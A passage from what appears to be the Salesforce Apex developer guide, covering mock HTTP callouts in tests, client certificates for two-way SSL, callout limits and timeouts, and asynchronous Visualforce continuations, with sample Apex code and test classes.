After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you specified in
the respond method implementation.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This is a full example that shows how to test an HTTP callout. The interface implementation (MockHttpResponseGenerator) is
listed first. It is followed by a class containing the test method and another containing the method that the test calls. The testCallout
test method sets the mock callout mode by calling Test.setMock before calling getInfoFromExternalService. It then
verifies that the response returned is what the implemented respond method sent. Save each class separately and run the test in
CalloutClassTest.
@isTest
global class MockHttpResponseGenerator implements HttpCalloutMock {
// Implement this interface method
global HTTPResponse respond(HTTPRequest req) {
// Optionally, only send a mock response for a specific endpoint
// and method.
System.assertEquals('http://api.salesforce.com/foo/bar', req.getEndpoint());
System.assertEquals('GET', req.getMethod());
476
Invoking HTTP CalloutsIntegration and Apex Utilities
// Create a fake response
HttpResponse res = new HttpResponse();
res.setHeader('Content-Type','application/json');
res.setBody('{"foo":"bar"}');
res.setStatusCode(200);
return res;
}
}
public class CalloutClass {
public static HttpResponse getInfoFromExternalService() {
HttpRequest req = new HttpRequest();
req.setEndpoint('http://api.salesforce.com/foo/bar');
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Set mock callout class
Test.setMock(HttpCalloutMock.class,new MockHttpResponseGenerator());
// Call method to test.
// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values
String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());
}
}
SEE ALSO:
HttpCalloutMock Interface
Test Class
Testing HTTP Callouts Using Static Resources
You can test HTTP callouts by specifying the body of the response you’d like to receive in a static resource and using one of two built-in
classes—StaticResourceCalloutMock or MultiStaticResourceCalloutMock.
477
Invoking HTTP CalloutsIntegration and Apex Utilities
Testing HTTP Callouts Using StaticResourceCalloutMock
Apex provides the built-in StaticResourceCalloutMock class that you can use to test callouts by specifying the response
body in a static resource. When using this class, you don’t have to provide your own implementation of the HttpCalloutMock
interface. Instead, just create an instance of StaticResourceCalloutMock and set the static resource to use for the response
body, along with other response properties, like the status code and content type.
First, you must create a static resource from a text file to contain the response body:
1. Create a text file that contains the response body to return. The response body can be an arbitrary string, but it must match the
content type, if specified. For example, if your response has no content type specified, the file can include the arbitrary string abc.
If you specify a content type of application/json for the response, the file content should be a JSON string, such as {"hah":"fooled
you"}.
2. Create a static resource for the text file:
a. From Setup, enter Static Resources in the Quick Find box, then select Static Resources.
b. Click New.
c. Name your static resource.
d. Choose the file to upload.
e. Click Save.
To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.
Next, create an instance of StaticResourceCalloutMock and set the static resource, and any other properties.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('myStaticResourceName');
mock.setStatusCode(200);
mock.setHeader('Content-Type','application/json');
In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for StaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class,mock);
After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response you
specified in your instance of StaticResourceCalloutMock.
Note: To mock a callout if the code that performs the callout is in a managed package, call Test.setMock from a test method
in the same package with the same namespace.
This is a full example containing the test method (testCalloutWithStaticResources) and the method it is testing
(getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"}. Save each class separately and run the test in
CalloutStaticClassTest.
public class CalloutStaticClass {
public static HttpResponse getInfoFromExternalService(String endpoint) {
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint);
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
478
Invoking HTTP CalloutsIntegration and Apex Utilities
}
}
@isTest
private class CalloutStaticClassTest {
@isTest static void testCalloutWithStaticResources() {
// Use StaticResourceCalloutMock built-in class to
// specify fake response and include response body
// in a static resource.
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('mockResponse');
mock.setStatusCode(200);
mock.setHeader('Content-Type','application/json');
// Set the mock callout mode
Test.setMock(HttpCalloutMock.class, mock);
// Call the method that performs the callout
HTTPResponse res = CalloutStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received contains values returned by
// the mock response.
// This is the content of the static resource.
System.assertEquals('{"hah":"fooled you"}', res.getBody());
System.assertEquals(200,res.getStatusCode());
System.assertEquals('application/json', res.getHeader('Content-Type'));
}
}
Testing HTTP Callouts Using MultiStaticResourceCalloutMock
Apex provides the built-in MultiStaticResourceCalloutMock class that you can use to test callouts by specifying the
response body in a static resource for each endpoint. This class is similar to StaticResourceCalloutMock except that it allows
you to specify multiple response bodies. When using this class, you don’t have to provide your own implementation of the
HttpCalloutMock interface. Instead, just create an instance of MultiStaticResourceCalloutMock and set the static
resource to use per endpoint. You can also set other response properties like the status code and content type.
First, you must create a static resource from a text file to contain the response body. See the procedure outlined in Testing HTTP Callouts
Using StaticResourceCalloutMock.
Next, create an instance of MultiStaticResourceCalloutMock and set the static resource, and any other properties.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource('http://api.salesforce.com/foo/bar','mockResponse');
multimock.setStaticResource('http://api.salesforce.com/foo/sfdc','mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type','application/json');
In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for MultiStaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class,multimock);
479
Invoking HTTP CalloutsIntegration and Apex Utilities
After this point, if your test method performs an HTTP callout to one of the endpoints http://api.salesforce.com/foo/bar
or http://api.salesforce.com/foo/sfdc, the callout is not made and the Apex runtime sends the corresponding mock
response you specified in your instance of MultiStaticResourceCalloutMock.
This is a full example containing the test method (testCalloutWithMultipleStaticResources) and the method it is
testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"} and another named mockResponse2
based on a text file with the content {"hah":"fooled you twice"}. Save each class separately and run the test in
CalloutMultiStaticClassTest.
public class CalloutMultiStaticClass {
public static HttpResponse getInfoFromExternalService(String endpoint) {
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint);
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutMultiStaticClassTest {
@isTest static void testCalloutWithMultipleStaticResources() {
// Use MultiStaticResourceCalloutMock to
// specify fake response for a certain endpoint and
// include response body in a static resource.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource(
'http://api.salesforce.com/foo/bar','mockResponse');
multimock.setStaticResource(
'http://api.salesforce.com/foo/sfdc','mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type','application/json');
// Set the mock callout mode
Test.setMock(HttpCalloutMock.class, multimock);
// Call the method for the first endpoint
HTTPResponse res = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received
System.assertEquals('{"hah":"fooled you"}', res.getBody());
// Call the method for the second endpoint
HTTPResponse res2 = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/sfdc');
// Verify response received
System.assertEquals('{"hah":"fooled you twice"}', res2.getBody());
}
}
480
Invoking HTTP CalloutsIntegration and Apex Utilities
Performing DML Operations and Mock Callouts
By default, callouts aren’t allowed after DML operations in the same transaction because DML operations result in pending uncommitted
work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making
a callout. To enable this, enclose the portion of your code that performs the callout within Test.startTest and Test.stopTest
statements. The Test.startTest statement must appear before the Test.setMock statement. Also, the calls to DML operations
must not be part of the Test.startTest/Test.stopTest block.
DML operations that occur after mock callouts are allowed and don’t require any changes in test methods.
The DML operations support works for all implementations of mock callouts using: the HttpCalloutMock interface and static
resources (StaticResourceCalloutMock or MultiStaticResourceCalloutMock). The following example uses an
implemented HttpCalloutMock interface but you can apply the same technique when using static resources.
Performing DML Before Mock Callouts
This example is based on the HttpCalloutMock example provided earlier. The example shows how to use Test.startTest and
Test.stopTest statements to allow DML operations to be performed in a test method before mock callouts. The test method
(testCallout) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a
method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout
// but after setting test data.
Test.startTest();
// Set mock callout class
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
// Call method to test.
// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values
String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());
Test.stopTest();
}
}
481
Invoking HTTP CalloutsIntegration and Apex Utilities
Asynchronous Apex and Mock Callouts
Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later
in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These
asynchronous calls are typically enclosed within Test.startTest and Test.stopTest statements in test methods so that
they execute after Test.stopTest. In this case, mock callouts can be performed after the asynchronous calls and no changes are
necessary. But if the asynchronous calls aren’t enclosed within Test.startTest and Test.stopTest statements, you’ll get
an exception because of uncommitted work pending. To prevent this exception, do either of the following:
•Enclose the asynchronous call within Test.startTest and Test.stopTest statements.
Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
•Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within Test.startTest
and Test.stopTest statements. The Test.startTest statement must appear before the Test.setMock statement.
Also, the asynchronous calls must not be part of the Test.startTest/Test.stopTest block.
MyClass.asyncCall();
Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();
Asynchronous calls that occur after mock callouts are allowed and don’t require any changes in test methods.
SEE ALSO:
Test Class
Using Certificates
To use two-way SSL authentication, send a certificate with your callout that was either generated in Salesforce or signed by a certificate
authority (CA). Sending a certificate enhances security because the target of the callout receives the certificate and can use it to authenticate
the request against its keystore.
To enable two-way SSL authentication for a callout:
1. Generate a certificate.
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP Requests.
3. If you’re connecting to a third party and using a self-signed certificate, share the Salesforce certificate with them so that they can
add the certificate to their keystore. If you’re connecting to another application within your organization, configure your Web or
application server to request a client certificate. This process depends on the type of Web or application server you use.
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be registered in
the Remote Site Settings page, or the callout fails.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. To set up named
credentials, see “Define a Named Credential” in the Salesforce Help.
482
Using CertificatesIntegration and Apex Utilities
IN THIS SECTION:
1. Generating Certificates
2. Using Certificates with SOAP Services
3. Using Certificates with HTTP Requests
Generating Certificates
You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate
for a callout, see Generate a Certificate.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Generate a Certificate Signed
by a Certificate Authority” in the Salesforce online help.
Using Certificates with SOAP Services
After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to a SOAP Web service.
To integrate the certificate with your Apex:
1. Receive the WSDL for the Web service from the third party or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the Web service. See SOAP Services: Defining a Class from a WSDL Document.
3. The generated Apex classes include a stub for calling the third-party Web service represented by the WSDL document. Edit the Apex
classes, and assign a value to a clientCertName_x variable on an instance of the stub class. The value must match the Unique
Name of the certificate that you generated on the Certificate and Key Management page.
The following example illustrates the last step of the previous procedure and works with the sample WSDL file in Generated WSDL2Apex
Code. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCertName_x = 'DocSampleCert';
String input = 'This is the input string';
String output = stub.EchoString(input);
There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate key in
base64, and assign it to the clientCert_x variable on the stub. This is inherently less secure than using a Salesforce certificate
because it does not follow security best practices for protecting private keys. When you use a Salesforce certificate, the private key is not
shared outside Salesforce.
Note: Don’t use a client certificate that was generated on the Generate Client Certificate page. Use a certificate that was obtained
from a third party for your organization if you use the legacy process.
The following example illustrates the legacy process and works with the sample WSDL file in Generated WSDL2Apex Code on page 466.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCert_x =
'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb'+
'MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu'+
'6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w'+
'9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBz/zYHO6AgIEAA==';
// Password for the keystore
stub.clientCertPasswd_x = 'passwd';
483
Using CertificatesIntegration and Apex Utilities
String input = 'This is the input string';
String output = stub.EchoString(input);
Using Certificates with HTTP Requests
After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP request.
To integrate the certificate with your Apex:
1. Generate a certificate. Note the Unique Name of the certificate.
2. In your Apex, use the setClientCertificateName method of the HttpRequest class. The value used for the argument
for this method must match the Unique Name of the certificate that you generated in the previous step.
The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate
with a Unique Name of DocSampleCert.
HttpRequest req = new HttpRequest();
req.setClientCertificateName('DocSampleCert');
Callout Limits and Limitations
The following limits and limitations apply when Apex code makes a callout to an HTTP request or a web services call. The web services
call can be a SOAP API call or any external web services call.
•A single Apex transaction can make a maximum of 100 callouts to an HTTP request or an API call.
•The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum
is 120,000 milliseconds. See the examples in the next section for how to set custom timeouts for Web services or HTTP callouts.
•The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts
invoked by the Apex transaction.
•You can’t make a callout when there are pending operations in the same transaction. Things that result in pending operations are
DML statements, asynchronous Apex (such as future methods and batch Apex jobs), scheduled Apex, or sending email. You can
make callouts before performing these types of operations.
•Pending operations can occur before mock callouts in the same transaction. See Performing DML Operations and Mock Callouts for
WSDL-based callouts or Performing DML Operations and Mock Callouts for HTTP callouts.
•When the header Expect: 100-Continue is added to a callout request, a timeout occurs if a HTTP/1.1 100 Continue
response isn’t returned by the external server.
Setting Callout Timeouts
The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and the generated
DocSamplePort class described in Generated WSDL2Apex Code on page 466. Set the timeout value in milliseconds by assigning a
value to the special timeout_x variable on the stub.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.timeout_x = 2000; // timeout in milliseconds
The following is an example of setting a custom timeout for HTTP callouts:
HttpRequest req = new HttpRequest();
req.setTimeout(2000); // timeout in milliseconds
484
Callout Limits and LimitationsIntegration and Apex Utilities
Make Long-Running Callouts from a Visualforce Page
Use asynchronous callouts to make long-running requests from a Visualforce page to an external Web service and process responses in
callback methods. Asynchronous callouts that are made from a Visualforce page don’t count toward the Apex limit of 10 synchronous
requests that last longer than five seconds. As a result, you can make more long-running callouts and you can integrate your Visualforce
pages with complex back-end assets.
An asynchronous callout is a callout that is made from a Visualforce page for which the response is returned through a callback method.
An asynchronous callout is also referred to as a continuation.
This diagram shows the execution path of an asynchronous callout, starting from a Visualforce page. A user invokes an action on a
Visualforce page that requests information from a Web service (step 1). The app server hands the callout request to the Continuation
server before returning to the Visualforce page (steps 2–3). The Continuation server sends the request to the Web service and receives
the response (steps 4–7), then hands the response back to the app server (step 8). Finally, the response is returned to the Visualforce
page (step 9).
Execution Flow of an Asynchronous Callout
A typical Salesforce application that benefits from asynchronous callouts is one that contains a Visualforce page with a button that users
click to get data from an external Web service. For example, the Visualforce page might get warranty information for a certain product
from a Web service. This page can be used by thousands of agents in the organization. Consequently, a hundred of those agents might
click the same button to process warranty information for products at the same time. These hundred simultaneous actions exceed the
limit of concurrent long-running requests of 10, but by using asynchronous callouts, the requests aren’t subjected to this limit and can
be executed.
In the following example application, the button action is implemented in an Apex controller method. The action method creates a
Continuation and returns it. After the request is sent to the service, the Visualforce request is suspended. The user must wait for
the response to be returned before proceeding with using the page and invoking new actions. When the external service returns a
response, the Visualforce request resumes and the page receives this response.
This is the Visualforce page of our sample application. This page contains a button that invokes the startRequest method of the
controller that’s associated with this page. After the continuation result is returned and the callback method is invoked, the button
renders the outputText component again to display the body of the response.
<apex:page controller="ContinuationController" showChat="false" showHeader="false">
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>
485
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
<!-- This output text component displays the callout response body. -->
<apex:outputText id="result" value="{!result}" />
</apex:page>
The following is the Apex controller that’s associated with the Visualforce page. This controller contains the action and callback methods.
Note: Before you can call an external service, you must add the remote site to a list of authorized remote sites in the Salesforce
user interface. From Setup, enter Remote Site Settings in the Quick Find box, then select Remote Site Settings,
and then click New Remote Site.
If the callout specifies a named credential as the endpoint, you don’t need to configure remote site settings. A named credential
specifies the URL of a callout endpoint and its required authentication parameters in one definition. To set up named credentials,
see “Define a Named Credential” in the Salesforce Help. In your code, specify the named credential URL instead of the long-running
service URL. A named credential URL contains the scheme callout:, the name of the named credential, and an optional path.
For example: callout:My_Named_Credential/some_path.
public with sharing class ContinuationController {
// Unique label corresponding to the continuation
public String requestLabel;
// Result of callout
public String result {get;set;}
// Callout endpoint as a named credential URL
// or, as shown here, as the long-running service URL
private static final String LONG_RUNNING_SERVICE_URL =
'<Insert your service URL>';
// Action method
public Object startRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(40);
// Set callback method
con.continuationMethod='processResponse';
// Create callout request
HttpRequest req = new HttpRequest();
req.setMethod('GET');
req.setEndpoint(LONG_RUNNING_SERVICE_URL);
// Add callout request to continuation
this.requestLabel = con.addHttpRequest(req);
// Return the continuation
return con;
}
// Callback method
public Object processResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel);
// Set the result variable that is displayed on the Visualforce page
this.result = response.getBody();
// Return null to re-render the original Visualforce page
486
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
return null;
}
}
Note:
•You can make up to three asynchronous callouts in a single continuation. Add these callout requests to the same continuation
by using the addHttpRequest method of the Continuation class. The callouts run in parallel for this continuation
and suspend the Visualforce request. Only after all callouts are returned by the external service for does the Visualforce process
resume.
•Asynchronous callouts are supported only through a Visualforce page. Making an asynchronous callout by invoking the action
method outside a Visualforce page, such as in the Developer Console, isn’t supported.
•Asynchronous callouts are available for Apex controllers and Visualforce pages saved in version 30.0 and later. If JavaScript
remoting is used, version 31.0 or later is required.
IN THIS SECTION:
Process for Using Asynchronous Callouts
To use asynchronous callouts, create a Continuation object in an action method of a controller, and implement a callback
method.
Testing Asynchronous Callouts
Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests don’t
support making callouts, you can simulate callout requests and responses. When you’re simulating a callout, the request doesn’t
get sent to the external service, and a mock response is used.
Asynchronous Callout Limits
When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes,
a new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout
limits.
Making Multiple Asynchronous Callouts
To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to
the Continuation instance. An example of when to make simultaneous callouts is when you’re making independent requests to a
service, such as getting inventory statistics for two products.
Chaining Asynchronous Callouts
If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests.
Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might
need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired.
You can chain up to three callouts.
Making an Asynchronous Callout from an Imported WSDL
In addition to HttpRequest-based callouts, asynchronous callouts are supported in Web service calls that are made from
WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for
using the HttpRequest class.
SEE ALSO:
Named Credentials as Callout Endpoints
487
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
Process for Using Asynchronous Callouts
To use asynchronous callouts, create a Continuation object in an action method of a controller, and implement a callback method.
Invoking an Asynchronous Callout in an Action Method
To invoke an asynchronous callout, call the external service by using a Continuation instance in your Visualforce action method.
When you create a continuation, you can specify a timeout value and the name of the callback method. For example, the following
creates a continuation with a 60-second timeout and a callback method name of processResponse.
Continuation cont = new Continuation(60);
cont.continuationMethod = 'processResponse';
Next, associate the Continuation object to an external callout. To do so, create the HTTP request, and then add this request to the
continuation as follows:
String requestLabel = cont.addHttpRequest(request);
Note: This process is based on making callouts with the HttpRequest class. For an example that uses a WSDL-based class, see
Making an Asynchronous Callout from an Imported WSDL.
The method that invokes the callout (the action method) must return the Continuation object to instruct Visualforce to suspend
the current request after the system sends the callout and waits for the callout response. The Continuation object holds the details
of the callout to be executed.
This is the signature of the method that invokes the callout. The Object return type represents a Continuation.
public Object calloutActionMethodName()
Defining a Callback Method
The response is returned after the external service finishes processing the callout. You can specify a callback method for asynchronous
execution after the callout returns. This callback method must be defined in the controller class where the callout invocation method is
defined. You can define a callback method to process the returned response, such as retrieving the response for display on a Visualforce
page.
The callback method doesn’t take any arguments and has this signature.
public Object callbackMethodName()
The Object return type represents a Continuation, a PageReference, or null. To render the original Visualforce page and
finish the Visualforce request, return null in the callback method.
If the action method uses JavaScript remoting (is annotated with @RemoteAction ), the callback method must be static and has
the following supported signatures.
public static Object callbackMethodName(List< String>labels,Object state)
Or:
public static Object callbackMethodName(Object state)
The labels parameter is supplied by the system when it invokes the callback method and holds the labels associated with the callout
requests made. The state parameter is supplied by setting the Continuation.state property in the controller.
This table lists the return values for the callback method. Each return value corresponds to a different behavior.
488
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
Table 4: Possible Return Values for the Callback Method
Request Lifecycle and OutcomeCallback Method Return Value
The system finishes the Visualforce page request and renders the
original Visualforce page (or a portion of it).
null
The system finishes the Visualforce page request and redirects to
a new Visualforce page.
(Use query parameters in the PageReference to pass the
results of the Continuation to the new page.)
PageReference
The system suspends the Visualforce request again and waits for
the response of a new callout. Return a new Continuation
in the callback method to chain asynchronous callouts.
Continuation
Note: If the continuationMethod property isn’t set for a continuation, the same action method that made the callout is
called again when the callout response returns.
SEE ALSO:
Continuation Class
Testing Asynchronous Callouts
Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests don’t
support making callouts, you can simulate callout requests and responses. When you’re simulating a callout, the request doesn’t get
sent to the external service, and a mock response is used.
The following example shows how to invoke a mock asynchronous callout in a test for a Web service call that uses HTTPRequest.
To simulate callouts in continuations, call these methods of the Test class: setContinuationResponse(requestLabel, mockResponse)
and invokeContinuationMethod(controller, request).
The controller class to test is listed first, followed by the test class. The controller class from Make Long-Running Callouts from a Visualforce
Page is reused here.
public with sharing class ContinuationController {
// Unique label corresponding to the continuation request
public String requestLabel;
// Result of callout
public String result {get;set;}
// Endpoint of long-running service
private static final String LONG_RUNNING_SERVICE_URL =
'<Insert your service URL>';
// Action method
public Object startRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(40);
// Set callback method
con.continuationMethod='processResponse';
// Create callout request
489
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
HttpRequest req = new HttpRequest();
req.setMethod('GET');
req.setEndpoint(LONG_RUNNING_SERVICE_URL);
// Add callout request to continuation
this.requestLabel = con.addHttpRequest(req);
// Return the continuation
return con;
}
// Callback method
public Object processResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel);
// Set the result variable that is displayed on the Visualforce page
this.result = response.getBody();
// Return null to re-render the original Visualforce page
return null;
}
}
This example shows the test class corresponding to the controller. This test class contains a test method for testing an asynchronous
callout. In the test method, Test.setContinuationResponse sets a mock response, and
Test.invokeContinuationMethod causes the callback method for the continuation to be executed. The test ensures that
the callback method processed the mock response by verifying that the controller’s result variable is set to the expected response.
@isTest
public class ContinuationTestingForHttpRequest {
public static testmethod void testWebService() {
ContinuationController controller = new ContinuationController();
// Invoke the continuation by calling the action method
Continuation conti = (Continuation)controller.startRequest();
// Verify that the continuation has the proper requests
Map<String, HttpRequest> requests = conti.getRequests();
system.assert(requests.size() == 1);
system.assert(requests.get(controller.requestLabel) != null);
// Perform mock callout
// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('Mock response body');
// Set the fake response for the continuation
Test.setContinuationResponse(controller.requestLabel, response);
// Invoke callback method
Object result = Test.invokeContinuationMethod(controller, conti);
// result is the return value of the callback
System.assertEquals(null, result);
// Verify that the controller's result variable
// is set to the mock response.
System.assertEquals('Mock response body', controller.result);
490
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
}
}
Asynchronous Callout Limits
When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes, a
new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout limits.
Continuation-Specific Limits
The following are Apex and Visualforce limits that are specific to a continuation.
LimitDescription
3Maximum number of parallel Apex callouts in a single continuation
3Maximum number of chained Apex callouts
120 secondsMaximum timeout for a single continuation1
80 KBMaximum Visualforce controller-state size2
1 MBMaximum HTTP response size
1 MBMaximum HTTP POST form size—the size of all keys and values in the form3
500Maximum number of keys in the HTTP POST form3
1 The timeout that is specified in the autogenerated Web service stub and in the HttpRequest objects is ignored. Only this timeout limit
is enforced for a continuation.
2 When the continuation is executed, the Visualforce controller is serialized. When the continuation is completed, the controller is
deserialized and the callback is invoked. Use the Apex transient modifier to designate a variable that is not to be serialized. The
framework uses only serialized members when it resumes. The controller-state size limit is separate from the view state limit. See
Differences between Continuation Controller State and Visualforce View State.
3 This limit is for HTTP POST forms with the following content type headers:
content-type='application/x-www-form-urlencoded' and content-type='multipart/form-data'
Differences between Continuation Controller State and Visualforce View State
Controller state and view state are distinct. Controller state for a continuation consists of the serialization of all controllers that are involved
in the request, not only the controller that invokes the continuation. The serialized controllers include controller extensions, and custom
and internal component controllers. The controller state size is logged in the debug log as a USER_DEBUG event.
View state holds more data than the controller state and has a higher maximum size (135 KB). The view state contains state and component
structure. State is serialization of all controllers and all the attributes of each component on a page, including subpages and subcomponents
. Component structure is the parent-child relationship of components that are in the page. You can monitor the view state size in the
Developer Console or in the footer of a Visualforce page when development mode is enabled. For more information, see “View State
Tab” in the Salesforce Help or refer to the Visualforce Developer’s Guide.
491
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
Making Multiple Asynchronous Callouts
To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to the
Continuation instance. An example of when to make simultaneous callouts is when you’re making independent requests to a service,
such as getting inventory statistics for two products.
When you’re making multiple callouts in the same continuation, the callout requests run in parallel and suspend the Visualforce request.
Only after all callout responses are returned does the Visualforce process resume.
The following Visualforce and Apex examples show how to make two asynchronous callouts simultaneously by using a single continuation.
The Visualforce page is shown first. The Visualforce page contains a button that invokes the action method
startRequestsInParallel in the controller. When the Visualforce process resumes, the outputPanel component is
rendered again. This panel displays the responses of the two asynchronous callouts.
<apex:page controller="MultipleCalloutController" showChat="false" showHeader="false">
<apex:form >
<!-- Invokes the action method when the user clicks this button. -->
<apex:commandButton action="{!startRequestsInParallel}" value="Start Request"
reRender="panel"/>
</apex:form>
<apex:outputPanel id="panel">
<!-- Displays the response body of the initial callout. -->
<apex:outputText value="{!result1}" />
<br/>
<!-- Displays the response body of the chained callout. -->
<apex:outputText value="{!result2}" />
</apex:outputPanel>
</apex:page>
This example shows the controller class for the Visualforce page. The startRequestsInParallel method adds two requests
to the Continuation. After all callout responses are returned, the callback method (processAllResponses) is invoked and processes
the responses.
public with sharing class MultipleCalloutController {
// Unique label for the first request
public String requestLabel1;
// Unique label for the second request
public String requestLabel2;
// Result of first callout
public String result1 {get;set;}
// Result of second callout
public String result2 {get;set;}
// Endpoints of long-running service
private static final String LONG_RUNNING_SERVICE_URL1 =
'<Insert your first service URL>';
private static final String LONG_RUNNING_SERVICE_URL2 =
'<Insert your second service URL>';
// Action method
public Object startRequestsInParallel() {
// Create continuation with a timeout
492
Make Long-Running Callouts from a Visualforce PageIntegration and Apex Utilities
Continuation con = new Continuation(60);
// Set callback method
con.continuationMethod='processAllResponses';
// Create first callout request
HttpRequest req1 = new HttpRequest();
req1.setMethod('GET');
req1.setEndpoint(LONG_RUNNING_SERVICE_URL1);
// Add first callout request to continuation
this.requestLabel1 = con.addHttpRequest(req1);
// Create second callout request
HttpRequest req2 = new HttpRequest();
req2.setMethod('GET');
req2.setEndpoint(LONG_RUNNING_SERVICE_URL2);
// Add second callout request to continuation
this.requestLabel2 = con.addHttpRequest(req2);
// Return the continuation
return con;
}
// Callback method.
// Invoked only when responses of all callouts are returned.
public Object processAllResponses() {
// Get the response of the first request
